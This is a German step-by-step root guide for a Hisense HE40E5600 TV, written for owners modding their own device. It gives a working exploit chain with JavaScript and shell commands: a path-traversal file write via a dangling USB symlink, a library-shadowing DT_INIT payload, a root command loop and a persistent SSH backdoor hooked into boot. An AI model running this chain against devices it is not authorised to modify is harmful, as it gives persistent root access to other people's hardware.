Files
2026-10-27 15:56:27 +01:00

541 lines
23 KiB
Markdown

# ROOT-GUIDE — Hisense HE40E5600FFWTS (V0100.01.00A.N0410)
**Finaler, replizierbarer Root-Weg.** Kein Flash, kein `.pkg`, kein UART, kein Öffnen des TVs.
**Ziel-TV:** Hisense HE40E5600FFWTS, FW `V0100.01.00A.N0410`, LAN `192.168.188.94`
**Host:** Linux mit Python 3, `arm-linux-gnueabihf-*`, optional `qemu-arm`; Host-IP im Beispiel `192.168.188.150`
**Stand:** 2026-10-26 — Root + Dropbear-SSH (key-only) + PTY live bestätigt; Boot-Persistenz installiert (Reboot-Test offen).
Dieser Ordner ist **self-contained**: Payload, Original-Lib, Dropbear-Binaries, Host-/TV-Skripte, Public Key, Host-Key-Fingerprint, Build-Skripte und die Doku liegen hier. Du musst nicht durch den alten Run-Ordner suchen. Die alte `docs/re/...`-Ablage ist nur noch Evidence/Provenienz.
---
## 0. Ergebnis
Beim Boot lädt `hisense_browser` (UID 0, Single-Process, `CapEff=0000003fffffffff`) eine präparierte **`libtvsysinfo.so`** aus `/3rd_rw/loglevel/lib`. Der angehängte `DT_INIT` läuft als root, schreibt den Proof, startet die Root-Loop und ruft danach den Original-Init auf. Über den `HamService`-Wrapper starten Root-Loop und Dropbear bei jedem Boot. SSH ist **key-only**; Login als `root` gibt eine echte Root-Shell mit PTY.
Beweis (live):
```
/3rd_rw/root_proof.txt = ROOT_EXEC_TVI
uid=0(root) gid=0(root)
Uid: 0 0 0 0 Gid: 0 0 0 0 CapEff: 0000003fffffffff
```
**Optional SFTP:** Dropbear bringt keinen eigenen `sftp-server` mit. Im Ordner
liegen ein **statischer OpenSSH-9.9p1-sftp-server** und ein Dropbear mit
`SFTPSERVER_PATH=/3rd_rw/sshd/sftp-server`; `root/scripts/host/install_sftp.sh`
installiert beides (Test auf 2222, dann Tausch auf 22). Danach:
`sftp root@192.168.188.94`. Siehe 9.4.
---
## 1. Die Kette (warum das geht)
1. **Browser ist root.** `hisense_browser` läuft als UID/GID 0, `CapEff` voll, Single-Process, kein Seccomp/NoNewPrivs. JS im Browser ist root-equivalent.
2. **USB-Schreibprimitive.** `HSJSX_File::IsSubDentry` prüft `realpath` + Präfix gegen `/3rd_rw/appdata`, `/dev/shm/shm_tmp`, `/3rd/launcher/data`. Ein **dangling Symlink** auf einem ext4-USB lässt `realpath` am fehlenden Ziel scheitern; der Elternpfad `/dev/shm/shm_tmp/mnt/usb/<dev>` ist erlaubt. `fopen` folgt dem Symlink und legt die Zieldatei als root an. Damit sind **neue Root-Dateien** überall anlegbar.
3. **Loader-Shadow.** `hisense_browser` hat `libtvsysinfo.so` als direktes `NEEDED`; `DT_RPATH=/lib/`, dort liegt sie nicht. `LD_LIBRARY_PATH`-Index 17 ist `/3rd_rw/loglevel/lib` — das erste Verzeichnis, das die Lib liefern kann. Die dort per Symlink-Bypass abgelegte `libtvsysinfo.so` wird beim nächsten Browser-Start geladen.
4. **DT_INIT-Payload.** Die echte `libtvsysinfo.so` wird um Code am Dateiende erweitert (RX-LOAD `p_filesz/memsz` mit erweitert); `DT_INIT` zeigt auf den neuen Code. Der Code:
- `unlink` der eigenen Datei (Selbstschutz),
- schreibt `/3rd_rw/root_proof.txt`,
- `fork` + `execve("/bin/sh", ["/bin/sh", "/3rd_rw/appdata/root_loop.sh"], NULL)`,
- ruft den Original-`DT_INIT` per PC-relativem `bl` auf,
- kehrt zum Loader zurück.
5. **Root-Loop.** `/3rd_rw/appdata/root_loop.sh` läuft als root, liest `root_cmd.sh`, führt sie aus und schreibt `root_out.txt`.
6. **SSH-Persistenz.** `/3rd_rw/hamservice/HamService` ist ein Wrapper: startet Root-Loop + Dropbear, führt danach das echte `/3rd/hamservice/HamService` aus. `startHam.sh` ruft ihn beim Boot als root auf. Dropbear nutzt ein bind-gemountetes `/etc/passwd` (Root-Home `/3rd_rw/sshd/home`) und `~/.ssh/authorized_keys`. PTYs kommen aus einem devpts-Mount auf `/dev/shm/pts`, der auf `/dev/pts` gebindet wird.
---
## 2. Ordner / Artefakte
```
root/
ROOT-GUIDE.md # diese Datei
README.md # kurzer Index
tools/
server.py # Host: recon.html + /pub + /cmd + /recon + /dump
recon.html # Host: TV-Seite mit fileXHR/listDir/HiBrowser-Hook
live_cmd.txt # optionaler Live-Command-Kanal (leer = nichts)
pub/
libtvsysinfo.so # finaler Payload (33500 B)
dropbear # statischer ARM-Dropbear 2022.83 (key-only)
dropbear-sftp # Dropbear mit SFTPSERVER_PATH=/3rd_rw/sshd/sftp-server
dropbearkey
sftp-server # statischer OpenSSH 9.9p1 sftp-server
authorized_keys # dein Public Key
start_sshd.sh # TV: Dropbear + passwd/PTY-Bindmounts
root_loop.sh # TV: Root-Kommandokanal
hamservice-wrapper.sh # TV: Boot-Hook, ersetzt /3rd_rw/hamservice/HamService
deploy_sshd.sh # TV: installiert alles (als root ausführen)
verify.sh # TV: Health-Check
rollback.sh # TV: alles zurückbauen
scripts/
host/
prepare_usb.sh # Host: ext4/MBR-Stick + Symlinks
start_http.sh # Host: Server auf :9000
plant_payload.js # TV-Konsole: Payload durch tvi schreiben
upload_to_appdata.js # TV-Konsole: Dropbear/Deploy-Dateien nach appdata
run_root_cmd.js # TV-Konsole: root_cmd.sh schreiben/root_out lesen
build_payload.sh # Host: Payload aus tvi_original.so bauen
build_tvi_payload.py # Host: Builder (deterministisch)
build_dropbear.sh # Host: Dropbear aus sources/ bauen
build_sftp_server.sh # Host: statischen sftp-server bauen
patch_dropbear_sftp.py # Host: Dropbear-SFTP-Pfad patchen
install_sftp.sh # Host: SFTP installieren/testen/auf 22 tauschen
tv/
start_sshd.sh
root_loop.sh
hamservice-wrapper.sh
deploy_sshd.sh
verify.sh
rollback.sh
install_sftp_stage.sh # TV: sftp-server + Test-Dropbear auf 2222
enable_sftp.sh # TV: Tausch auf 22 planen
swap_sftp.sh # TV: Tausch ausführen (detached)
artifacts/
tvi_original.so # Original /3rd_rw/tvsysinfo/lib/libtvsysinfo.so (33220 B)
keys/authorized_keys # dein Public Key
keys/host-key-fingerprint.txt
sources/
dropbear-2022.83.tar.bz2 # Offline-Buildquelle (SHA unten)
openssh-9.9p1.tar.gz # Offline-Buildquelle für sftp-server
modding/ # die Modding-Doku (eigene Abteilung)
dead-ends.md # kurze Liste der Sackgassen
SHA256SUMS
```
**Wichtig:** `root/tools/pub/authorized_keys` enthält **nur** deinen Public Key. Der private Key bleibt auf deinem Rechner und ist nirgends in diesem Ordner.
---
## 3. Voraussetzungen
- TV im LAN, erreichbar als `192.168.188.94` (IP ggf. anpassen).
- Host im selben LAN; Python 3; für den Rebuild: `gcc-arm-linux-gnueabihf`, `binutils-arm-linux-gnueabihf`, `make`, `bzip2`.
- Optional SFTP: OpenSSH-Client (`sftp`) auf dem Host; der TV braucht keinen Client.
- USB-Stick, **ext4 mit MBR-Partitionstabelle** (kein Superfloppy). Der TV mountet Partitionen.
- Der Public Key in `root/tools/pub/authorized_keys` muss zu deinem privaten Key passen. Aktuell:
```
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKLzgdRrwTGWMSHIurddPrQBY/2zOk+BlsU4jJWtPh/B vidaa-root
```
- Host-Key des TV-SSHD (Ed25519):
```
SHA256:7tFL8xcKAh7+wC/3T5QiutxYMqcBTM7p+P4uEMAOwts
```
---
## 4. Der Weg in Kürze
```
1. USB-Stick: sudo root/scripts/host/prepare_usb.sh /dev/sdX
2. Server: root/scripts/host/start_http.sh
3. TV-Seite: http://<host-ip>:9000/recon.html
4. Payload: root/scripts/host/plant_payload.js (USB-Dev anpassen) → Reboot
5. Root prüfen: /3rd_rw/root_proof.txt = ROOT_EXEC_TVI
6. SSH-Dateien: root/scripts/host/upload_to_appdata.js
7. Deploy: root/scripts/host/run_root_cmd.js → deploy_sshd.sh
8. Verbinden: ssh root@192.168.188.94
9. Persistenz: HamService-Wrapper ist installiert; Reboot-Test
10. Rollback: root/scripts/tv/rollback.sh (auf dem TV, als root)
11. SFTP opt.: root/scripts/host/install_sftp.sh
```
Die Schritte im Detail:
---
## 5. Schritt 1 — USB-Stick (ext4 + MBR + `tvi`-Symlink)
### 5.1 Skript
```bash
cd /workspace/hisense-he40e5600-root-modding
sudo root/scripts/host/prepare_usb.sh /dev/sdX
```
Das Skript ist **destruktiv**: `wipefs`, MBR, `mkfs.ext4 -O ^64bit,^metadata_csum -L TVSYM`, dann:
```
tvi -> /3rd_rw/loglevel/lib/libtvsysinfo.so (Pflicht, muss dangling bleiben)
pwn -> /3rd_rw/root_proof.txt (optional, Proof-Target)
```
### 5.2 Manuell (falls du es selbst machen willst)
```bash
lsblk -f
sudo wipefs -a /dev/sdX
sudo parted -s /dev/sdX mklabel msdos mkpart primary ext4 1MiB 100%
sudo mkfs.ext4 -O ^64bit,^metadata_csum -L TVSYM /dev/sdX1
sudo mkdir -p /mnt/data
sudo mount /dev/sdX1 /mnt/data
sudo ln -sfn /3rd_rw/loglevel/lib/libtvsysinfo.so /mnt/data/tvi
sudo ln -sfn /3rd_rw/root_proof.txt /mnt/data/pwn
sync
sudo umount /mnt/data
```
- **`tvi` muss dangling sein** (Ziel existiert noch nicht). Genau das ist der Whitelist-Bypass.
- FAT32 kann keine Symlinks; ext4 mit alter Feature-Menge (`^64bit,^metadata_csum`) wird vom 3.18-Kernel gemountet.
- Ein Whole-Disk-ext4 (Superfloppy, kein `sdX1`) wird **nicht** gemountet.
Dann Stick in den TV. Der TV mountet ihn als `/dev/shm/shm_tmp/mnt/usb/<dev>` (für JS sichtbar als `/mnt/usb/<dev>`, z. B. `sda1`/`sdb1`/`sdc1`).
---
## 6. Schritt 2 — Host-Server + Recon-Seite
```bash
cd /workspace/hisense-he40e5600-root-modding
root/scripts/host/start_http.sh
# TV URL: http://<host-ip>:9000/recon.html
```
Der Server liefert `recon.html`, `/cmd`, `/recon`, `/dump` und `/pub/*`. Die TV-Seite pollt `/cmd` und führt JS im **root-Browser** aus.
Auf dem TV im Browser öffnen:
```
http://<host-ip>:9000/recon.html
```
USB-Dev ermitteln (Konsole/Hook):
```js
listDir("/mnt/usb") // z. B. "[D] sda1"
listDir("/mnt/usb/sda1") // muss "tvi" zeigen
```
---
## 7. Schritt 3 — Payload schreiben
### 7.1 Skript (TV-Konsole)
`root/scripts/host/plant_payload.js` in die Konsole pasten; **`usb` anpassen**:
```js
var usb = "/mnt/usb/sda1"; // <-- aus listDir("/mnt/usb")
var target = "so/../../../../dev/shm/shm_tmp" + usb + "/tvi";
var url = location.origin + "/pub/libtvsysinfo.so";
var o = {};
o.download = HiBrowser.File.download(url, target, 1);
o.back = HiBrowser.File.download("file:///3rd_rw/loglevel/lib/libtvsysinfo.so",
"tvi_check_plant.so", 1);
o
```
Erwartung: `download=0`, `back=0`; danach existiert
```
/3rd_rw/loglevel/lib/libtvsysinfo.so 33500 B
SHA-256 37b13f91959acea9b3c3fd4d0e62bb2d4cb41f773add060bef68ac67657f5b0a
```
### 7.2 Manuell (ohne JS-Datei)
```js
HiBrowser.File.download(
"http://<host-ip>:9000/pub/libtvsysinfo.so",
"so/../../../../dev/shm/shm_tmp/mnt/usb/sda1/tvi",
1
);
```
### 7.3 Verifizieren
- `back=0` und die 33.500 B / SHA oben.
- Optional die zurückgelesene Datei `tvi_check_plant.so` mit `pub/libtvsysinfo.so` vergleichen.
- **Nicht rebooten**, bevor die Bytes stimmen.
### 7.4 Reboot
TV komplett aus- und wieder einschalten. Beim Boot lädt `hisense_browser` die Shadow-Lib aus Index 17; der `DT_INIT` läuft als root.
---
## 8. Schritt 4 — Root prüfen / Kommandokanal
Nach dem Boot Recon-Seite erneut öffnen.
```js
fileXHR("file:///3rd_rw/root_proof.txt") // ROOT_EXEC_TVI
fileXHR("file:///3rd_rw/appdata/root_loop.pid") // z. B. 1425
listDir("/3rd_rw/loglevel/lib") // nur liblogLevel.so => Self-Unlink ok
```
Root-Befehl über den Loop:
```js
HiBrowser.File.write("root_cmd.sh",
"id\n" +
"cat /proc/self/status | grep -E '^(Uid|Gid|CapEff):'\n", 1);
// nach ca. 2 s:
fileXHR("file:///3rd_rw/appdata/root_out.txt")
```
Erwartung:
```
uid=0(root) gid=0(root)
Uid: 0 0 0 0
Gid: 0 0 0 0
CapEff: 0000003fffffffff
```
Fertiges Snippet: `root/scripts/host/run_root_cmd.js` (CMD anpassen).
---
## 9. Schritt 5 — Dropbear/SSH installieren
### 9.1 Dateien nach `/3rd_rw/appdata` laden
`root/scripts/host/upload_to_appdata.js` in die TV-Konsole pasten. Es lädt aus `root/tools/pub/`:
```
dropbear dropbearkey authorized_keys start_sshd.sh root_loop.sh
hamservice-wrapper.sh deploy_sshd.sh verify.sh rollback.sh
```
nach `/3rd_rw/appdata`. Erwartung: alle Werte `0`.
### 9.2 Deploy als root (über die Root-Loop)
`root/scripts/host/run_root_cmd.js` mit
```
/bin/sh /3rd_rw/appdata/deploy_sshd.sh
```
ausführen (oder in der Konsole):
```js
HiBrowser.File.write("root_cmd.sh", "/bin/sh /3rd_rw/appdata/deploy_sshd.sh\n", 1);
// nach ca. 5 s:
fileXHR("file:///3rd_rw/appdata/root_out.txt")
```
`deploy_sshd.sh` macht:
- `dropbear`/`dropbearkey` → `/3rd_rw/sshd/`
- Host-Key (`dropbearkey -t ed25519 -f /3rd_rw/sshd/host_key`)
- `/etc/passwd`-Kopie mit `root:/3rd_rw/sshd/home:/bin/sh`, **bind mount** über `/etc/passwd`
- devpts auf `/dev/shm/pts`, **bind mount** über `/dev/pts` (PTY; `/dev` ist statisch ro)
- `authorized_keys` aus dem Public Key
- `start_sshd.sh` + `root_loop.sh` + `hamservice-wrapper.sh`
- Start von Dropbear auf `0.0.0.0:22`, key-only
- Health-Ausgabe (Prozesse, Port, Log, Host-Key, Mounts)
### 9.3 Verbinden
```bash
ssh root@192.168.188.94
# oder, wenn dein Key nicht der Default ist:
ssh -i ~/.ssh/<dein_privater_key> root@192.168.188.94
```
Beim ersten Verbinden Host-Key bestätigen:
```
ED25519 key fingerprint is SHA256:7tFL8xcKAh7+wC/3T5QiutxYMqcBTM7p+P4uEMAOwts
```
Erwartung: `root@...:~#`, `id` → `uid=0(root)`.
**Key-only:** `DROPBEAR_SVR_PASSWORD_AUTH=0` beim Build; es gibt keinen Passwort-Login. Dein Public Key ist der einzige Zugang.
**PTY:** devpts-Workaround ist im `start_sshd.sh`/`deploy_sshd.sh`. Falls doch `PTY allocation failed`:
```sh
mkdir -p /dev/shm/pts
mount -t devpts -o mode=620,ptmxmode=666,gid=5 devpts /dev/shm/pts
mount --bind /dev/shm/pts /dev/pts
```
Danach erneut verbinden; Dropbear muss nicht neu starten. Fallback ohne PTY:
```bash
ssh -T root@192.168.188.94 'id; uname -a'
```
### 9.4 SFTP (optional, key-only)
Dropbear hat **keinen eigenen sftp-server**; der Server exec't den
compile-time `SFTPSERVER_PATH` (Default `/usr/libexec/sftp-server`). Der ro
Rootfs erlaubt dort keine Datei. Deshalb liegen im Ordner:
- `tools/pub/sftp-server` — statischer OpenSSH-9.9p1-sftp-server (ARM)
- `tools/pub/dropbear-sftp` — Dropbear mit
`SFTPSERVER_PATH=/3rd_rw/sshd/sftp-server`
Installation vom Host (nutzt deinen SSH-Key; ein `sftp`-Client wird nur für den Test benötigt):
```bash
cd /workspace/hisense-he40e5600-root-modding
root/scripts/host/install_sftp.sh
# optional: TV=root@192.168.188.94 SSH_KEY=~/.ssh/id_ed25519 ...
```
Ablauf: lädt beide Binaries nach `/3rd_rw/appdata`; startet einen
**Test-Dropbear auf Port 2222** (Port 22 bleibt unangetastet); testet
`sftp -P 2222`; nur bei Erfolg wird der Binary auf 22 getauscht
(Backup: `/3rd_rw/sshd/dropbear.nosftp`). Danach:
```bash
sftp root@192.168.188.94
# pwd, ls, put, get ...
```
**Rollback:**
```bash
ssh root@192.168.188.94 \
'cp -f /3rd_rw/sshd/dropbear.nosftp /3rd_rw/sshd/dropbear; \
kill $(cat /3rd_rw/sshd/dropbear.pid) 2>/dev/null; \
/bin/sh /3rd_rw/sshd/start_sshd.sh'
```
**SFTP ist root-equivalent** (Login als root), key-only, nur LAN. Es ist
derselbe Zugang wie SSH; keine zusätzlichen Credentials.
---
## 10. Schritt 6 — Persistenz (Boot)
`deploy_sshd.sh` installiert bereits `/3rd_rw/hamservice/HamService`:
```sh
#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
export PATH
/bin/sh /3rd_rw/appdata/root_loop.sh >/dev/null 2>&1 &
[ -x /3rd_rw/sshd/start_sshd.sh ] && /bin/sh /3rd_rw/sshd/start_sshd.sh >/dev/null 2>&1 &
exec /3rd/hamservice/HamService "$@"
```
Boot-Ablauf:
1. `startHam.sh` wechselt nach `/3rd_rw/hamservice`.
2. `[ -e HamService ] && [ -x HamService ]` → `./HamService &`.
3. Wrapper startet Root-Loop + Dropbear (Bind-Mounts/PTY), `exec`t dann das echte `/3rd/hamservice/HamService`.
4. Root-Loop und Dropbear laufen als root weiter.
**Reboot-Test:** TV neu starten; danach:
```bash
ssh root@192.168.188.94 'id; ps | grep -E "dropbear|root_loop"'
```
Oder auf dem TV: `/bin/sh /3rd_rw/appdata/verify.sh`.
**Alternative für frühe Mods:** `/3rd_rw/developer.sh` (wird von `/basic/autorun.sh` Zeile 90 als root ausgeführt, **vor** `ms_service`/`hisenseUI`/`app_man`/`delayrun`). Siehe `modding/02-boot.md` und `modding/04-modding.md`.
---
## 11. Schritt 7 — Rollback
### 11.1 Skript (TV, als root)
```sh
/bin/sh /3rd_rw/appdata/rollback.sh
# oder aus diesem Ordner hochladen und ausführen
```
Es stoppt Loop/Dropbear, stellt den HamService-Symlink wieder her, unmountet `/etc/passwd`/`/dev/pts`/`/dev/shm/pts`, entfernt `/3rd_rw/sshd`, die Shadow-Lib und die alten ms-/appdata-Payloads. Danach Reboot.
### 11.2 Manuell
```sh
kill "$(cat /3rd_rw/appdata/root_loop.pid)" 2>/dev/null
kill "$(cat /3rd_rw/sshd/dropbear.pid)" 2>/dev/null
rm -f /3rd_rw/hamservice/HamService
ln -s /3rd/hamservice/HamService /3rd_rw/hamservice/HamService
umount /etc/passwd 2>/dev/null
umount /dev/pts 2>/dev/null
umount /dev/shm/pts 2>/dev/null
rm -rf /3rd_rw/sshd
rm -f /3rd_rw/loglevel/lib/libtvsysinfo.so
sync
reboot
```
Der ro Rootfs ist unverändert; die Original-`libtvsysinfo.so` bleibt unter `/3rd_rw/tvsysinfo/lib`. Kein Flash, kein `.pkg`.
---
## 12. Troubleshooting
| Problem | Ursache / Lösung |
|---|---|
| `PTY allocation request failed` / `openpty: No space left on device` | `/dev/pts` ist nicht devpts. `mkdir -p /dev/shm/pts; mount -t devpts -o mode=620,ptmxmode=666,gid=5 devpts /dev/shm/pts; mount --bind /dev/shm/pts /dev/pts`. Erneut verbinden. |
| `Permission denied (publickey)` | `grep '^root:' /etc/passwd` muss `/3rd_rw/sshd/home:/bin/sh` zeigen (Bind-Mount). `authorized_keys` 600, `.ssh` 700, Home 700. `cat /3rd_rw/sshd/dropbear.log`. |
| `Connection refused` | Dropbear läuft nicht: `ps | grep dropbear`, `cat /3rd_rw/sshd/dropbear.log`, `/bin/sh /3rd_rw/sshd/start_sshd.sh`. Port 22: `/proc/net/tcp` (`:0016`). |
| Host-Key-Warnung | `ssh-keygen -R 192.168.188.94`; Fingerprint `SHA256:7tFL…` bestätigen. |
| Recon-Seite weg | TV-Browser neu öffnen: `http://<host-ip>:9000/recon.html`. SSH/Root-Loop laufen unabhängig. |
| Nach Reboot kein SSH | `/3rd_rw/hamservice/HamService` (Wrapper, 755), `/3rd_rw/sshd/start_sshd.sh`, `dropbear.log`, `mount.log` prüfen. `startHam.sh` startet den Wrapper. |
| Root-User nicht gefunden | `/etc/passwd`-Bind fehlt: `mount --bind /3rd_rw/sshd/etc_passwd /etc/passwd`; `grep '^root:' /etc/passwd`. |
| Kein Root nach Payload | Datei 33.500 B/SHA prüfen; `/3rd_rw/loglevel/lib/libtvsysinfo.so` vorhanden; Browser neu starten; Index 17. |
| `dropbear: Invalid option -s` | Dieser Build hat kein `-s`; Passwort-Auth ist **compile-time** aus. `-s` aus dem Startskript entfernen (hier bereits nicht enthalten). |
| `sh: /usr/libexec/sftp-server: No such file` | Der Dropbear ist noch der ungepatchte. `root/scripts/host/install_sftp.sh` ausführen; prüfen: `grep -a 'sftp-server' /3rd_rw/sshd/dropbear` → `/3rd_rw/sshd/sftp-server`. |
| SFTP auf 2222 scheitert | `/3rd_rw/sshd/dropbear2222.log` prüfen; Port 22 wurde nicht angefasst. |
| SFTP auf 22 scheitert | `/3rd_rw/sshd/swap.log`, `/3rd_rw/sshd/dropbear.log`; Rollback-Befehl in 9.4. |
Dead Ends und verworfene Wege: `../dead-ends.md` (kurz).
---
## 13. Artefakte und Hashes
| Artefakt | Pfad | Größe / SHA-256 |
|---|---|---|
| Original `libtvsysinfo.so` | `artifacts/tvi_original.so` | 33.220 B / `36ddee4782cdcff7a0f1d94e8b3491ea6fe228d13bfef3ea137a98f142ff3b7c` |
| Root-Payload | `tools/pub/libtvsysinfo.so` | 33.500 B / `37b13f91959acea9b3c3fd4d0e62bb2d4cb41f773add060bef68ac67657f5b0a` |
| Dropbear | `tools/pub/dropbear` | 882.204 B / `976ec57e401765d5fc9c0a201d19c997c004dcf91a8d4bdb039bbb8419071eae` |
| Dropbearkey | `tools/pub/dropbearkey` | 755.452 B / `3fbfa60891b3a9f3e971a24071ed4d14c93ee3e773dd6f4969646cc811b0dbbf` |
| Dropbear-Quelle | `sources/dropbear-2022.83.tar.bz2` | `bc5a121ffbc94b5171ad5ebe01be42746d50aa797c9549a4639894a16749443b` |
| SFTP-Server | `tools/pub/sftp-server` | 635.680 B / `d0f7700e84e582aef3948c29e4317fb0119e13393374a7455922ffa8d01202f3` |
| Dropbear (SFTP) | `tools/pub/dropbear-sftp` | 882.204 B / `a21b0d3e53dd1d124105350319df45a2b44e7cef70dd29b418644b11fdcfed57` |
| OpenSSH-Quelle | `sources/openssh-9.9p1.tar.gz` | `b343fbcdbff87f15b1986e6e15d6d4fc9a7d36066be6b7fb507087ba8f966c02` |
| Host-Key (SSH) | TV: `/3rd_rw/sshd/host_key` | Ed25519 / `SHA256:7tFL8xcKAh7+wC/3T5QiutxYMqcBTM7p+P4uEMAOwts` |
| Dein Auth-Key | `tools/pub/authorized_keys` | Fingerprint `SHA256:RzgGjRHkR756azwKjS6mTClWOZFa/nyLMdi7TqgrHoY` |
| Root-Proof | TV: `/3rd_rw/root_proof.txt` | `ROOT_EXEC_TVI\n` |
| Root-Loop | TV: `/3rd_rw/appdata/root_loop.sh` | PID: `/3rd_rw/appdata/root_loop.pid` |
`SHA256SUMS` im Top-Level: `cd /workspace/hisense-he40e5600-root-modding && sha256sum -c SHA256SUMS`.
---
## 14. Sicherheit / Grenzen
- **SSH ist key-only, root, im LAN.** Kein Passwort-Login; der private Key ist der einzige Zugang. Nicht ins Internet exponieren.
- **SFTP ist optional und root-equivalent.** Key-only wie SSH; der sftp-server läuft als root. Installation testet zuerst Port 2222; Backup `/3rd_rw/sshd/dropbear.nosftp`; Rollback in 9.4.
- **Der Root-Loop ist root-equivalent.** Wer `/3rd_rw/appdata/root_cmd.sh` schreiben kann (der Browser läuft als root), kann Root-Befehle ausführen. Gewollt, aber entsprechend behandeln.
- **Kein Flash, kein `.pkg`, kein Bootloader.** Rootfs und `/3rd` sind squashfs-ro; Änderungen liegen in `/3rd_rw` (rw), `/data` (rw), `/perm` (rw) und in Bind-Mounts.
- **`/etc/passwd`-Bind** ändert nur die Laufzeit-Sicht (Root-Home/Shell); die ro Originaldatei bleibt unverändert. Ein Reboot ohne Startskript stellt den Originalzustand her.
- **Persistenz** kommt vom `HamService`-Wrapper (und ggf. `developer.sh`). Der `libtvsysinfo`-Shadow löscht sich selbst.
- **Firmware-Updates** können Pfade/Verhalten ändern; danach Loader-Reihenfolge, HamService-Hook und `/3rd_rw` prüfen.
- **Keine Secrets im Ordner:** kein Root-Hash, kein privater SSH-Key. Nur Public Key + Host-Fingerprint.
---
## 15. Verifikationsstatus
| Punkt | Status |
|---|---|
| Browser root (UID 0, CapEff full) | **CONFIRMED live** |
| USB-ext4-Symlink-Bypass | **CONFIRMED live** (`/3rd_rw/root_proof.txt`) |
| `libtvsysinfo`-Shadow / DT_INIT | **CONFIRMED live** (`ROOT_EXEC_TVI`, Self-Unlink) |
| Root-Loop / Kommandokanal | **CONFIRMED live** (`uid=0`, `root_out.txt`) |
| Dropbear-SSH, Port 22 | **CONFIRMED live** (`00000000:0016`) |
| SSH-Pubkey-Auth als root | **CONFIRMED live** (`Pubkey auth succeeded for 'root'`) |
| PTY / interaktive Shell | **CONFIRMED live** (Session pts/0; `busybox script` → `uid=0(root)`) |
| SFTP (optional) | static sftp-server + patched Dropbear; Installer testet 2222 vor 22; **TV-Test nach Install** |
| Boot-Persistenz (HamService-Wrapper) | eingerichtet; Reboot-Test in dieser Doku beschrieben |
| Payload-Build reproduzierbar | **CONFIRMED** (`build_tvi_payload.py` → exakt `37b13f…`) |
**Scripts:** `tools/pub/*` ist der ausgelieferte Stand; `scripts/tv/*` die Quelle. `deploy_sshd.sh` entspricht dem manuell live ausgeführten Setup. `prepare_usb.sh`/`start_http.sh`/`plant_payload.js`/`upload_to_appdata.js`/`run_root_cmd.js` sind die Host-/TV-Helfer. `build_dropbear.sh` baut die in `tools/pub` liegenden Binaries reproduzierbar aus `sources/`; `build_sftp_server.sh` baut den statischen sftp-server; `install_sftp.sh` installiert/testet SFTP.
Viel Erfolg. Und: erst backupen, dann modden. :)